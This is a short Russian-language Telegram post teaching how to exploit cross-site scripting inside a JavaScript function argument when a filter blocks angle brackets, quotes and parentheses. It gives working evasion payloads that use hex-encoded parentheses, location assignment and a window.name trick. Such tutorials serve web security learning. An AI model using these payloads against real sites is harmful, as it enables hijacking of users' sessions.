Эксплуатация XSS в параметре функции

Представим ситуацию, когда вы заглядываете в JS и ваш ввод попадает в конструкцию:

func("x","ваш ввод")

При этом, запрещено использование символов <>'()` однако разрешено использование "

Первое, что мы должны помнить, это то, что любая функция в JS может принимать неограниченное количество параметров. Таким образом можно использовать конструкцию:

func("x","",location="javascript:alert(1)")

Затем, вспоминаем, что использование скобок запрещено, но, в данном контексте, это не проблема. Мы можем просто закодировать их в hex и выполнить XSS:

func("x","",location="javascript:alert\x281\x29")

Но есть еще один трюк, который может быть вам полезен. Если открывать уязвимый сайт через другой сайт, то можно принудительно задать значение window.name, через window.open(), что позволит нам сократить пэйлоад и выполнить XSS несколько иным образом:

func("x"+{a.location=name}+"")

func("x"+new class b{toString=e=>location=name}+"")

Более подробно и наглядно обо всем этом можете посмотреть тут.

#web #xss
? 29
? 7
? 1
129 5.2K

Обсуждение 0

Обсуждение не доступно в веб-версии. Чтобы написать комментарий, перейдите в приложение Telegram.

Обсудить в Telegram